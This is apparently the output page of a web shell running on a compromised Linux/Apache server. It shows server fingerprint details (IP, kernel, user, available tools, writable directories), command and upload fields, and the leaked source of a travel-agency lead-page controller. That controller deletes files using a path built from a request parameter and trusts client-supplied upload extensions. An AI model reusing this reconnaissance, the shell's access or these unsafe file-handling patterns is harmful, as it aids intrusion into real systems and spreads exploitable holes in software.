403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/modules/gtxlead/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/modules/gtxlead/controllers/IndexController.php
<?php

class Gtxlead_IndexController extends Catabatic_ValidateGtx
{
    public $baseUrl;
    public $reportMdl;
    public $marketingMdl;
    public $_crmcusttravelplan;
    public $_crmcustomerObj;
    public $DIR_WRITE_MODE;
    private $intLoggedinUserId;
    private $intLoggedinUserAgencySysId;

    public function init()
    {
        parent::init();
        $aConfig = $this->getInvokeArg('bootstrap')->getOptions();
        $BootStrap = $aConfig['bootstrap'];
        $this->baseUrl = $BootStrap['siteUrl'];
        $this->reportMdl = new Marketing_Model_Marketing();
        $sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
        $this->intLoggedinUserId = $sessionLogin_user->intLoggedinUserId;
        $this->intLoggedinUserAgencySysId = $sessionLogin_user->intLoggedinUserAgencySysId;
        $this->DIR_WRITE_MODE = 0777;
    }

    public function indexAction()
    {
        $this->view->agencySysId = $agencySysId = $this->intLoggedinUserAgencySysId;
        $UserSysId = $this->intLoggedinUserId;
        $this->marketingMdl = new Marketing_Model_Marketing();
        $getAllGTXLeadPageData = $this->marketingMdl->getAllGTXLeadPageData($agencySysId);
        //       echo "<pre>";print_r($getAllGTXLeadPageData);die;
        $this->_crmcusttravelplan = new Travel_Model_CRM_CustomerTravelPlan();
        $agentDetails = $this->_crmcusttravelplan->getAgentDetails($UserSysId);
        $leadDataArray = array();
        if (!empty($getAllGTXLeadPageData)) {
            foreach ($getAllGTXLeadPageData as $leadKey => $leadValue) {
                //                echo "<pre>";print_r($leadValue);die;
                $AgencySysId = $leadValue['AgencySysId'];
                $UserSysId = $leadValue['AgentSysId'];
                $GtxLeadSysId = $leadValue['GtxLeadSysId'];
                $code = $this->mSecureCode($AgencySysId, $UserSysId, $GtxLeadSysId);
                $redirectUrl = $this->baseUrl . 'gtx.php?AId=' . $AgencySysId . '&UId=' . $UserSysId . '&lId=' . $GtxLeadSysId . '&code=' . $code;
                $leadDataArray[] = [
                    'GtxLeadSysId' => $leadValue['GtxLeadSysId'],
                    'TemplatePageName' => $leadValue['TemplatePageName'],
                    'AgencyName' => $leadValue['AgencyName'],
                    'BannerTextMain' => $leadValue['BannerTextMain'],
                    'BannerTextSub' => $leadValue['BannerTextSub'],
                    'PackageHeadingMain' => $leadValue['PackageHeadingMain'],
                    'IsDisplay' => $leadValue['IsDisplay'],
                    'redirectUrl' => $redirectUrl,
                    'LeadPageType' => $leadValue['LeadPageType'],
                ];
            }
        }

        $paginator = Zend_Paginator::factory($leadDataArray);
        $pageNumber = $this->_getParam('page', 1);
        $paginator->setCurrentPageNumber($pageNumber);
        $paginator->setItemCountPerPage(GRID_PER_PAGE_RECORD_COUNT);
        $this->view->leadDataArray = $paginator;
        $this->view->baseUrl = $this->baseUrl;
    }

    public function addLeadTemplateAction()
    {
        $this->view->baseUrl = $this->baseUrl;
        $sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
        $this->view->agencySysId = $agencySysId = $this->intLoggedinUserAgencySysId;
        $this->marketingMdl = new Marketing_Model_Marketing();
        $objAgency = new Travel_Model_TblAgency();
        //      echo "<pre>";print_r($_SESSION);die;
        $objPackage = new Travel_Model_TblPackage();
        $this->_crmcustomerObj = new Travel_Model_CRM_Customer();
        $this->view->packageInclList = $packageInclList = $objPackage->getPackageInclusionList();
        $this->view->id = $id = $this->getRequest()->getParam('id');
        $this->view->pageType = $pageType = $this->getRequest()->getParam('type');

        if (isset($id)) {
            $leadPageData = $this->marketingMdl->getAllGTXLeadPageDataIsDisplayById($agencySysId, $id);
            $this->view->EditleadPageData = $leadPageData;
        }
        $AddressListArr = $objAgency->getAllAddressByAgency($agencySysId);
        $agencyOtherDetails = $objAgency->getAgencyOtherDetails($agencySysId);

        $getleadSource = $this->_crmcustomerObj->getLeadSourceByAgency($agencySysId);
        $this->view->AgencySysId = $sessionLogin_user->agencyDetails['AgencySysId'];
        $this->view->agencyLogo = $Logo = $sessionLogin_user->agencyDetails['Logo'];
        $this->view->agencyTitle = $Title = $sessionLogin_user->agencyDetails['Title'];
        $this->view->agencyEmailId = $sessionLogin_user->agencyDetails['EmailId'];
        $this->view->agencyContactNo1 = $sessionLogin_user->agencyDetails['ContactNo1'];
        $this->view->agencyUrl = $sessionLogin_user->agencyDetails['Url'];

        $this->view->AgencyShortDetail = isset($agencyOtherDetails) ? $agencyOtherDetails : '';
        $this->view->Address = $AddressListArr[0]['Address'] . ', ' . $AddressListArr[0]['CityName'] . '(' . $AddressListArr[0]['CountryName'] . ')';
        $this->view->getleadSource = $getleadSource;
    }

    public function dynamicPackageListAction()
    {
        $this->view->layout()->disableLayout();
        if ($this->getRequest()->isPost()) {
            $getData = $this->getRequest()->getParams();
            $objPackage = new Travel_Model_TblPackage();
            $this->view->agencySysId = $agencySysId = $this->intLoggedinUserAgencySysId;
            $this->view->selectedNoItems = $getData['SelectedNoItems'];
            $this->marketingMdl = new Marketing_Model_Marketing();
            $id = (isset($getData['id']) && !empty($getData['id'])) ? $getData['id'] : 0;
            $this->view->pageType = $pageType = (isset($getData['type']) && !empty($getData['type'])) ? $getData['type'] : 0;

            if (isset($id)) {
                $leadPageData = $this->marketingMdl->getAllGTXLeadPageDataIsDisplayById($agencySysId, $id);
                $this->view->EditleadPageData = $leadPageData;
            }
            $this->view->packageInclList = $packageInclList = $objPackage->getPackageInclusionList();
        }
    }

    //    public function uploadBannerImageAction() {
    ////        $filename = $_FILES['file']['name'];
    //        $orignalFIleName = $_FILES["file"]["name"];
    //        if (!empty($orignalFIleName)) {
    //            $orignalFolderName = $_SERVER["DOCUMENT_ROOT"] . "/public/upload/gtxlead/bannerimage";
    //            $originalSmallFolder    = $_SERVER["DOCUMENT_ROOT"] . "/public/upload/gtxlead/bannerimage". "/small";
    //            $fileExt = $this->_helper->General->getFileExtension($orignalFIleName);
    //            $fileName = 'leadimage_' . time() . '.' . $fileExt;
    //            if (!file_exists($orignalFolderName)) {
    //                @mkdir($orignalFolderName, 0777, true);
    //            }
    //
    //            if (!file_exists($originalSmallFolder)) {
    //                @mkdir($originalSmallFolder, 0777, true);
    //            }
    //            $temp_file_name = $_FILES["file"]["tmp_name"]; // temprary file name
    //            if (move_uploaded_file($temp_file_name, $orignalFolderName . "/" . $fileName)) {
    //                
    //                @copy($orignalFolderName . '/' . $fileName, $originalSmallFolder . "/" . $fileName); // copy uploaded file into this location directory
    //                    $objImageResize2 = new Catabatic_Imageresize($originalSmallFolder . '/' . $fileName);
    //                    $objImageResize2->resizeImage(650, 200, 'exact'); // param : width , height , (exact|portrait|landscape|auto|crop)
    //                    $objImageResize2->saveImage($originalSmallFolder . '/' . $fileName);
    //                
    //                $fileArray = array('status' => 'success', 'fileName' => $fileName);
    //            }
    //        }
    //        
    //        echo json_encode($fileArray);
    //        exit;
    //    }
    //     public function uploadLeadPackageImageAction() {
    ////        $filename = $_FILES['file']['name'];
    //       $orignalFIleName = $_FILES["file1"]["name"];
    //        if (!empty($orignalFIleName)) {
    //            $orignalFolderName = $_SERVER["DOCUMENT_ROOT"] . "/public/upload/gtxlead/package-images";
    //            $fileExt = $this->_helper->General->getFileExtension($orignalFIleName);
    //            $fileName = 'packageimage_' . time() . '.' . $fileExt;
    //            if (!file_exists($orignalFolderName)) {
    //                @mkdir($orignalFolderName, 0777, true);
    //            }
    //
    //            $temp_file_name = $_FILES["file1"]["tmp_name"]; // temprary file name
    //            if (move_uploaded_file($temp_file_name, $orignalFolderName . "/" . $fileName)) {
    //                $fileArray = array('status' => 'success', 'fileName' => $this->baseUrl.'public/upload/gtxlead/package-images/'.$fileName);
    //            }
    //        }
    //        echo json_encode($fileArray);
    //        exit;
    //    }


    public function saveLeadPageDataAction()
    {

        $this->view->layout()->disableLayout();
        $this->view->baseUrl = $this->baseUrl;
        $agencySysId = $this->intLoggedinUserAgencySysId;
        $this->marketingMdl = new Marketing_Model_Marketing();
        $resultArray = array();
        if ($this->getRequest()->isPost()) {
            $param = $this->getRequest()->getParams();
               // echo "<pre>";print_r($param);die();
            // echo  json_encode(array_map('trim',$param['packageId']));  die;
            $LeadSocialUrl[] = array(
                'facebook' => isset($param['LeadFacebookUrl']) ? $param['LeadFacebookUrl'] : '',
                'google-plus' => isset($param['LeadGooglePlushUrl']) ? $param['LeadGooglePlushUrl'] : '',
                'twitter' => isset($param['LeadTwitterUrl']) ? $param['LeadTwitterUrl'] : '',
                'instagram' => isset($param['LeadInstagramUrl']) ? $param['LeadInstagramUrl'] : '',
                'pinterest' => isset($param['LeadPinterestUrl']) ? $param['LeadPinterestUrl'] : '',
                'youtube' => isset($param['LeadYoutubeUrl']) ? $param['LeadYoutubeUrl'] : '',
            );

            $LeadTestimonialName = isset($param['LeadTestimonialName']) ? json_encode($param['LeadTestimonialName']) : '';
            $LeadTestimonialStar = isset($param['LeadTestimonialStar']) ? json_encode($param['LeadTestimonialStar']) : '';
            $LeadTestimonialDate = isset($param['LeadTestimonialDate']) ? json_encode($param['LeadTestimonialDate']) : '';
            $LeadTestimonialTitle = isset($param['LeadTestimonialTitle']) ? json_encode($param['LeadTestimonialTitle']) : '';
            $LeadTestimonialDescription = isset($param['LeadTestimonialDescription']) ? json_encode($param['LeadTestimonialDescription']) : '';
            $LeadFooterMainHeading = isset($param['LeadFooterMainHeading']) ? json_encode($param['LeadFooterMainHeading']) : '';
            $LeadFooterHeadingS2 = isset($param['LeadFooterHeadingS2']) ? ($param['LeadFooterHeadingS2']) : array();
            $LeadFooterUrlS2 = isset($param['LeadFooterUrlS2']) ? ($param['LeadFooterUrlS2']) : array();

            $LeadFooterHeadingS3 = isset($param['LeadFooterHeadingS3']) ? ($param['LeadFooterHeadingS3']) : array();
            $LeadFooterUrlS3 = isset($param['LeadFooterUrlS3']) ? ($param['LeadFooterUrlS3']) : array();
            $ButtonsHeading = isset($param['ButtonsHeading']) ? $param['ButtonsHeading'] : array();
//echo "<pre>";print_r($ButtonsHeading);die;
            $LeadFooterS2Arr = array();
            $LeadFooterS3Arr = array();
            if (!empty($LeadFooterHeadingS2)) {
                foreach ($LeadFooterHeadingS2 as $key => $value) {
                    if ($value != '') {
                        $LeadFooterS2Arr[] = array('Title' => $value, 'Url' => $LeadFooterUrlS2[$key]);
                    }
                }
            }
            if (!empty($LeadFooterHeadingS3)) {
                foreach ($LeadFooterHeadingS3 as $key1 => $value1) {
                    if ($value1 != '') {
                        $LeadFooterS3Arr[] = array('Title' => $value1, 'Url' => $LeadFooterUrlS3[$key1]);
                    }
                }
            }

            $dynamicPackageInclusions = array();
            if (isset($param['dynamicPackageInclusions']) && !empty($param['dynamicPackageInclusions'])) {
                $dynamicPackageInclusions = json_encode($param['dynamicPackageInclusions']);
            } else {

                for ($ma = 1; $ma <= (int)$param['noOfItems']; $ma++) {
                    $param['dynamicPackageInclusions' . $ma] = isset($param['dynamicPackageInclusions' . $ma]) ? $param['dynamicPackageInclusions' . $ma] : array();
                    $dynamicPackageInclusions[] = implode(',', $param['dynamicPackageInclusions' . $ma]);
                }
                $dynamicPackageInclusions = json_encode($dynamicPackageInclusions);

            }
            $dynamicPackageQualityTypeArray = array();
            for ($mq = 1; $mq < 7; $mq++) {
                $dynamicPackageQualityTypeArray[] = (isset($param['dynamicPackageQualityType' . $mq]) && ($param['dynamicPackageQualityType' . $mq] != '')) ? $param['dynamicPackageQualityType' . $mq] : 0;
            }

            if (is_array($param['LeadAboutUs'])) {
                for ($mab = 0; $mab < 4; $mab++) {
                    $LeadAboutUs[] = (isset($param['LeadAboutUs'][$mab]) && ($param['LeadAboutUs'][$mab] != '')) ? substr($param['LeadAboutUs'][$mab], 0, 450) : '';
                }
            } else {
                $LeadAboutUs = substr($param['LeadAboutUs'], 0, 1950);
            }
            if (isset($param['GtxLeadSysId']) && $param['GtxLeadSysId'] != '') {
                $updateData = array(
                    'AgencyName' => $param['AgencyName'],
                    'TemplatePageName' => $param['TemplatePageName'],
                    'BannerImageName' => $param['headerImageName'],
                    'BannerTextMain' => $param['mainHeading'],
                    'BannerTextSub' => $param['subHeading'],
                    'EnquiryFormHeading' => $param['EnquiryFormHeading'],
                    'EnquiryFormDescription' => $param['EnquiryFormDescription'],
                    'CountryCode' => $param['ContactCountrycode'],
                    'ContactNumber' => $param['contact_number'],
                    'EmailId' => $param['emailId'],
                    'Address' => $param['Address'],
                    'PackageHeadingMain' => $param['PackageHeadingMain'],
                    'PackageHeadingDescription' => $param['PackageHeadingDescription'],
                    'LeadPackageId' => json_encode(array_map('trim',$param['packageId'])),
                    'LeadPackageImageName' => json_encode($param['dynamicPackageImageName']),
                    'LeadPackageName' => json_encode($param['dynamicPackageName']),
                    'LeadPackagePrice' => json_encode($param['dynamicPackagePrice']),
                    'LeadPackageDay' => json_encode($param['dynamicPackageDay']),
                    'LeadPackageHotels' => json_encode($param['dynamicPackageHotels']),
                    'LeadPackageSightseeings' => json_encode($param['dynamicPackageSightseeings']),
                    'LeadPackageInclusions' => $dynamicPackageInclusions,
                    'LeadPackagePax' => json_encode($param['dynamicPackagePax']),
                    'LeadPackageTncInclusions' => isset($param['dynamicPackageTncInclusions']) ? json_encode($param['dynamicPackageTncInclusions']) : '',
                    'LeadAboutUs' => is_array($LeadAboutUs) ? json_encode($LeadAboutUs) : $LeadAboutUs,
                    'LeadSocialDescription' => $param['LeadSocialDescription'],
                    'LeadSocialUrl' => json_encode($LeadSocialUrl),
                    'LeadTestimonialName' => ($LeadTestimonialName),
                    'LeadTestimonialStar' => ($LeadTestimonialStar),
                    'LeadTestimonialDate' => ($LeadTestimonialDate),
                    'LeadTestimonialTitle' => ($LeadTestimonialTitle),
                    'LeadTestimonialDescription' => ($LeadTestimonialDescription),
                    'LeadFooterMainHeading' => ($LeadFooterMainHeading),
                    'LeadFooterSection2' => json_encode($LeadFooterS2Arr),
                    'LeadFooterSection3' => json_encode($LeadFooterS3Arr),
                    'LeadPageType' => (int) $param['LeadPageType'],
                    'LeadPartnersImageName' => isset($param['dynamicPartnersImageName']) ? json_encode($param['dynamicPartnersImageName']) : '',
                    'LeadPackageOldPrice' => isset($param['dynamicPackageOldPrice']) ? json_encode($param['dynamicPackageOldPrice']) : '',
                    'LeadPackageQualityType' => isset($dynamicPackageQualityTypeArray) ? json_encode($dynamicPackageQualityTypeArray) : '',
                    'aboutUsIconName' => isset($param['aboutUsIconName']) ? json_encode($param['aboutUsIconName']) : '',
                    'companyExperienceIconName' => isset($param['companyExperienceIconName']) ? json_encode($param['companyExperienceIconName']) : '',
                    'LeadCompanyExperienceDesc' => isset($param['LeadCompanyExperienceDesc']) ? json_encode($param['LeadCompanyExperienceDesc']) : '',
                    'LeadMetaTitle' => isset($param['LeadMetaTitle']) ? $param['LeadMetaTitle'] : '',
                    'LeadMetaKeyword' => isset($param['LeadMetaKeyword']) ? $param['LeadMetaKeyword'] : '',
                    'LeadMetaDescription' => isset($param['LeadMetaDescription']) ? $param['LeadMetaDescription'] : '',
                    'LeadMetaHeaderScript' => isset($param['LeadMetaHeaderScript']) ? $param['LeadMetaHeaderScript'] : '',
                    'LeadMetaFooterScript' => isset($param['LeadMetaFooterScript']) ? $param['LeadMetaFooterScript'] : '',
                    'LeadPackageDetailUrl' => isset($param['LeadPackageDetailUrl']) ? json_encode($param['LeadPackageDetailUrl']) : '',
                    'LeadPackageCountry' => isset($param['dynamicPackageCountry']) ? json_encode($param['dynamicPackageCountry']) : '',
                    'IsFixedDeparturePackage' => (isset($param['IsFixedDeparturePackage']) && $param['IsFixedDeparturePackage'] != '') ? json_encode($param['IsFixedDeparturePackage']) : '',
                    'FixedDeparturePackageDate' => (isset($param['FixedDeparturePackageDate']) && $param['FixedDeparturePackageDate'] != '') ? json_encode($param['FixedDeparturePackageDate']) : '',
                    'FixedDeparturePackageDestination' => (isset($param['FixedDeparturePackageDestination']) && $param['FixedDeparturePackageDestination'] != '') ? json_encode($param['FixedDeparturePackageDestination']) : '',
                    'LeadSourceSysId' => isset($param['LeadSourceSysId']) ? $param['LeadSourceSysId'] : 0,
                    'SelectedItems' => (int)$param['noOfItems'],
                    'MarketType' => isset($param['siteType']) ? $param['siteType'] : 1,
                    'DynamicButtonsName' => !empty($ButtonsHeading) ? implode('___',$ButtonsHeading) : ''
                    
                );
                   // echo "<pre>";print_r($updateData);die("update");


                $GtxLeadSysIdNew = $this->marketingMdl->updateTable("TB_Agency_GTX_Lead_Page", $updateData, ['GtxLeadSysId =?' => $param['GtxLeadSysId']]);
                //                $GtxLeadSysId = $this->marketingMdl->insertTable("TB_Agency_GTX_Lead_Page", $insertData);
                $GtxLeadSysId = $param['GtxLeadSysId'];
            } else {


                $insertData = array(
                    'AgencySysId' => $agencySysId,
                    'AgentSysId' => $this->intLoggedinUserId,
                    'AgencyName' => $param['AgencyName'],
                    'TemplatePageName' => $param['TemplatePageName'],
                    'BannerImageName' => $param['headerImageName'],
                    'BannerTextMain' => $param['mainHeading'],
                    'BannerTextSub' => $param['subHeading'],
                    'EnquiryFormHeading' => $param['EnquiryFormHeading'],
                    'EnquiryFormDescription' => $param['EnquiryFormDescription'],
                    'CountryCode' => $param['ContactCountrycode'],
                    'ContactNumber' => $param['contact_number'],
                    'EmailId' => $param['emailId'],
                    'Address' => $param['Address'],
                    'PackageHeadingMain' => $param['PackageHeadingMain'],
                    'PackageHeadingDescription' => $param['PackageHeadingDescription'],
                    'LeadPackageId' => json_encode(array_map('trim',$param['packageId'])),
                    'LeadPackageImageName' => json_encode($param['dynamicPackageImageName']),
                    'LeadPackageName' => json_encode($param['dynamicPackageName']),
                    'LeadPackagePrice' => json_encode($param['dynamicPackagePrice']),
                    'LeadPackageDay' => json_encode($param['dynamicPackageDay']),
                    'LeadPackageHotels' => json_encode($param['dynamicPackageHotels']),
                    'LeadPackageSightseeings' => json_encode($param['dynamicPackageSightseeings']),
                    'LeadPackageInclusions' => $dynamicPackageInclusions,
                    'LeadPackagePax' => json_encode($param['dynamicPackagePax']),
                    'LeadPackageTncInclusions' => isset($param['dynamicPackageTncInclusions']) ? json_encode($param['dynamicPackageTncInclusions']) : '',
                    'LeadAboutUs' => is_array($LeadAboutUs) ? json_encode($LeadAboutUs) : $LeadAboutUs,
                    'LeadSocialDescription' => $param['LeadSocialDescription'],
                    'LeadSocialUrl' => json_encode($LeadSocialUrl),
                    'IsDisplay' => 0,
                    'IsActive' => 1,
                    'IsMarkForDel' => 0,
                    'LeadTestimonialName' => ($LeadTestimonialName),
                    'LeadTestimonialStar' => ($LeadTestimonialStar),
                    'LeadTestimonialDate' => ($LeadTestimonialDate),
                    'LeadTestimonialTitle' => ($LeadTestimonialTitle),
                    'LeadTestimonialDescription' => ($LeadTestimonialDescription),
                    'LeadFooterMainHeading' => ($LeadFooterMainHeading),
                    'LeadFooterSection2' => json_encode($LeadFooterS2Arr),
                    'LeadFooterSection3' => json_encode($LeadFooterS3Arr),
                    'LeadPageType' => (int) $param['LeadPageType'],
                    'LeadPartnersImageName' => isset($param['dynamicPartnersImageName']) ? json_encode($param['dynamicPartnersImageName']) : '',
                    'LeadPackageOldPrice' => isset($param['dynamicPackageOldPrice']) ? json_encode($param['dynamicPackageOldPrice']) : '',
                    'LeadPackageQualityType' => isset($dynamicPackageQualityTypeArray) ? json_encode($dynamicPackageQualityTypeArray) : '',
                    'aboutUsIconName' => isset($param['aboutUsIconName']) ? json_encode($param['aboutUsIconName']) : '',
                    'companyExperienceIconName' => isset($param['companyExperienceIconName']) ? json_encode($param['companyExperienceIconName']) : '',
                    'LeadCompanyExperienceDesc' => isset($param['LeadCompanyExperienceDesc']) ? json_encode($param['LeadCompanyExperienceDesc']) : '',
                    'LeadMetaTitle' => isset($param['LeadMetaTitle']) ? $param['LeadMetaTitle'] : '',
                    'LeadMetaKeyword' => isset($param['LeadMetaKeyword']) ? $param['LeadMetaKeyword'] : '',
                    'LeadMetaDescription' => isset($param['LeadMetaDescription']) ? $param['LeadMetaDescription'] : '',
                    'LeadMetaHeaderScript' => isset($param['LeadMetaHeaderScript']) ? $param['LeadMetaHeaderScript'] : '',
                    'LeadMetaFooterScript' => isset($param['LeadMetaFooterScript']) ? $param['LeadMetaFooterScript'] : '',
                    'LeadPackageDetailUrl' => isset($param['LeadPackageDetailUrl']) ? json_encode($param['LeadPackageDetailUrl']) : '',
                    'LeadPackageCountry' => isset($param['dynamicPackageCountry']) ? json_encode($param['dynamicPackageCountry']) : '',
                    'IsFixedDeparturePackage' => (isset($param['IsFixedDeparturePackage']) && $param['IsFixedDeparturePackage'] != '') ? json_encode($param['IsFixedDeparturePackage']) : '',
                    'FixedDeparturePackageDate' => (isset($param['FixedDeparturePackageDate']) && $param['FixedDeparturePackageDate'] != '') ? json_encode($param['FixedDeparturePackageDate']) : '',
                    'FixedDeparturePackageDestination' => (isset($param['FixedDeparturePackageDestination']) && $param['FixedDeparturePackageDestination'] != '') ? json_encode($param['FixedDeparturePackageDestination']) : '',
                    'LeadSourceSysId' => isset($param['LeadSourceSysId']) ? $param['LeadSourceSysId'] : 0,
                    'SelectedItems' => (int)$param['noOfItems'],
                    'MarketType' => isset($param['siteType']) ? $param['siteType'] : 1,
                    'DynamicButtonsName' => !empty($ButtonsHeading) ? implode('___',$ButtonsHeading) : ''
                );
                //    echo "<pre>"; print_r($insertData); die;
                $GtxLeadSysId = $this->marketingMdl->insertTable("TB_Agency_GTX_Lead_Page", $insertData);
            }
            $AgencySysId = $agencySysId;
            $UserSysId = $this->intLoggedinUserId;

            $code = $this->mSecureCode($AgencySysId, $UserSysId, $GtxLeadSysId);
            // echo "<pre>"; print_r($code); die;
            $redirectUrl = $this->baseUrl . 'gtx.php?AId=' . $AgencySysId . '&UId=' . $UserSysId . '&lId=' . $GtxLeadSysId . '&code=' . $code;
            //  echo "<pre>"; print_r($redirectUrl); die;
            if ($GtxLeadSysId) {
                echo json_encode(array('status' => true, 'GtxLeadSysId' => $GtxLeadSysId, 'redirectUrl' => $redirectUrl));
                exit;
            } else {
                echo json_encode(array('status' => false));
                exit;
            }
        }
    }

    public function activeAction()
    {
        $this->view->layout()->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        $this->view->baseUrl = $this->baseUrl;
        $agencySysId = $this->intLoggedinUserAgencySysId;
        $this->marketingMdl = new Marketing_Model_Marketing();
        $GtxLeadSysId = (int) $this->getRequest()->getParam("id");
        $val = (int) $this->getRequest()->getParam("val");

        if ($GtxLeadSysId) {
            try {
                $updatedata = [
                    'IsDisplay' => $val
                ];
                $getAllGTXLeadIsDisplay = $this->marketingMdl->getCountAllGTXLeadIsDisplay($agencySysId);
                //                echo "<pre>";print_r($getAllGTXLeadIsDisplay);die;
                if ($val == 1) {

                    if ($getAllGTXLeadIsDisplay[0]['rows'] == 0) {

                        $result = $this->marketingMdl->updateTable("TB_Agency_GTX_Lead_Page", $updatedata, ['GtxLeadSysId =?' => $GtxLeadSysId]);
                    } else {
                        $result_message = ['status' => false, 'message' => 'Limit Exceed!!'];
                        echo Zend_Json::encode($result_message);
                        exit;
                    }
                } else {
                    $result = $this->marketingMdl->updateTable("TB_Agency_GTX_Lead_Page", $updatedata, ['GtxLeadSysId =?' => $GtxLeadSysId]);
                }
                // echo "<pre>";print_r($result);die;

                if (isset($result)) {
                    $result_message = ['status' => true, 'message' => 'Active successfully'];
                    echo Zend_Json::encode($result_message);
                    exit;
                } else {

                    $result_message = ['status' => false, 'message' => 'Oops something wrong!!'];
                    echo Zend_Json::encode($result_message);
                    exit;
                }
            } catch (Exception $ex) {
                $ex->getMessage();
            }
        }
    }

    public function generateLeadUrlAction()
    {
        $this->view->baseUrl = $this->baseUrl;
        $agencySysId = $this->intLoggedinUserAgencySysId;
        $UserSysId = $this->intLoggedinUserId;
        $this->_crmcustomerObj = new Travel_Model_CRM_Customer();
        $getleadSource = $this->_crmcustomerObj->getLeadSourceByAgency($agencySysId);
        $this->_crmcusttravelplan = new Travel_Model_CRM_CustomerTravelPlan();
        $agentDetails = $this->_crmcusttravelplan->getAgentDetails($UserSysId);
        $this->view->leadSource = $getleadSource;
        $this->view->agentDetails = $agentDetails;
    }

    //    public function getencodedurlAction(){
    //       $this->view->layout()->disableLayout();
    //       $this->_helper->viewRenderer->setNoRender(true);
    //        $this->view->baseUrl = $this->baseUrl;
    //        $agencySysId = $this->intLoggedinUserAgencySysId;
    ////        $this->marketingMdl = new Marketing_Model_Marketing();
    //        if ($this->getRequest()->isPost()) {
    //            $param = $this->getRequest()->getParams();
    //            echo "<pre>"; print_r(base64_encode($param['leadpageUrl']));die;
    //        }
    //        
    //        
    //    }

    public function deleteGtxleadPageAction()
    {
        $this->view->layout()->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        $this->view->baseUrl = $this->baseUrl;
        $agencySysId = $this->intLoggedinUserAgencySysId;
        $this->marketingMdl = new Marketing_Model_Marketing();
        $GtxLeadSysId = (int) $this->getRequest()->getParam("GtxLeadSysId");
        if ($GtxLeadSysId) {
            try {
                $updatedata = [
                    'IsMarkForDel' => 1
                ];

                $result = $this->marketingMdl->updateTable("TB_Agency_GTX_Lead_Page", $updatedata, ['GtxLeadSysId =?' => $GtxLeadSysId]);

                if (isset($result)) {
                    $result_message = ['status' => true, 'message' => 'Lead Page deleted successfully'];
                    echo Zend_Json::encode($result_message);
                    exit;
                } else {

                    $result_message = ['status' => false, 'message' => 'Oops something wrong!!'];
                    echo Zend_Json::encode($result_message);
                    exit;
                }
            } catch (Exception $ex) {
                $ex->getMessage();
            }
        }
    }

    public function mSecureCode($agencySysId, $UserSysId, $TPSysId)
    {
        $finalCode = $agencySysId . $UserSysId . $TPSysId;
        $checkId = hash('sha256', "GTX-$finalCode");
        return $checkId;
    }

    public function uploadPartnersImageAction()
    {
        //        $filename = $_FILES['file']['name'];
        $orignalFIle = @$_FILES["file1"]["name"];


        //        echo "<pre>";print_r($_FILES);die;
        foreach ($_FILES as $key => $orignalFIleName) {
            if (!empty($orignalFIleName)) {
                $orignalFIleName = $_FILES[$key]["name"];
                //$orignalFolderName = $_SERVER["DOCUMENT_ROOT"] . "/gtxlp/upload/partners";
                $fileExt = $this->_helper->General->getFileExtension($orignalFIleName);
                $fileName = 'partners__' . $key . '_' . time() . '.' . $fileExt;
                $image_path = 'img/'.$this->intLoggedinUserAgencySysId.'/marketing/gtxlp/partners';
                $DetailImg = IMAGE_PATH_URL_AWS . $image_path . '/' . $fileName;
                $file1 = array(
                    'name'=>$_FILES[$key]["name"],
                    'type'=>$_FILES[$key]["type"],
                    'tmp_name'=>$_FILES[$key]["tmp_name"],
                    'error'=>$_FILES[$key]["error"],
                    'size'=>$_FILES[$key]["size"],
                );
                $data = array(
                    'AgencySysId' =>  $this->intLoggedinUserAgencySysId,
                    'image_path' =>  $image_path,
                    'tags' =>  'marketing,gtxlp,partners',
                    'title' =>  $fileName,
                    'FILES' =>  $file1,
                    'fileName' =>  $fileName,
                );
                $toupload = Zend_Controller_Action_HelperBroker::getStaticHelper('FileUpload')->uploadToAWS($data);
//                if (!file_exists($orignalFolderName)) {
//                    @mkdir($orignalFolderName, 0777, true);
//                }

//                $temp_file_name = $_FILES[$key]["tmp_name"]; // temprary file name
//                if (move_uploaded_file($temp_file_name, $orignalFolderName . "/" . $fileName)) {
                if ($toupload['status'] == true) {
                    $fileArray[] = array('status' => 'success', 'fileName' => $DetailImg);
                }
            }
        }
        echo json_encode(array('status' => true, 'fileArray' => $fileArray, 'total' => count($fileArray)));
        exit;
    }

    public function deletePartnerImageAction()
    {

        $this->view->layout()->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        $this->view->baseUrl = $this->baseUrl;
        $agencySysId = $this->intLoggedinUserAgencySysId;
        $this->marketingMdl = new Marketing_Model_Marketing();
        $img = $this->getRequest()->getParam("img");
        if ($img) {
            $mImg = explode('gtxlp', $img);

            unlink('gtxlp' . $mImg[1]);
            $response = array("status" => true, "msg" => "Deleted Successfully");
            echo json_encode($response);
            exit;
        } else {
            $response = array("status" => false, "msg" => "Unable to delete.");
            echo json_encode($response);
            exit;
        }
    }

    public function uploadAboutusIconImageAction()
    {
        //        $filename = $_FILES['file']['name'];
        $orignalFIleName = $_FILES["file1"]["name"];
        $existfiles = $this->getRequest()->getParam('existfiles');




        if (!empty($orignalFIleName)) {
            //$orignalFolderName = $_SERVER["DOCUMENT_ROOT"] . "/gtxlp/upload/aboutus";
            $fileExt = $this->_helper->General->getFileExtension($orignalFIleName);
            $fileName = 'aboutus__' . time() . '.' . $fileExt;
            $image_path = 'img/'.$this->intLoggedinUserAgencySysId.'/marketing/gtxlp/aboutus';
            $DetailImg = IMAGE_PATH_URL_AWS . $image_path . '/' . $fileName;
            $data = array(
                'AgencySysId' =>  $this->intLoggedinUserAgencySysId,
                'image_path' =>  $image_path,
                'tags' =>  'marketing,gtxlp,about us',
                'title' =>  $fileName,
                'FILES' =>  $_FILES["file1"],
                'fileName' =>  $fileName,
            );
            $toupload = Zend_Controller_Action_HelperBroker::getStaticHelper('FileUpload')->uploadToAWS($data);
//            if (!file_exists($orignalFolderName)) {
//                @mkdir($orignalFolderName, 0777, true);
//            }
//            $temp_file_name = $_FILES["file1"]["tmp_name"]; // temprary file name
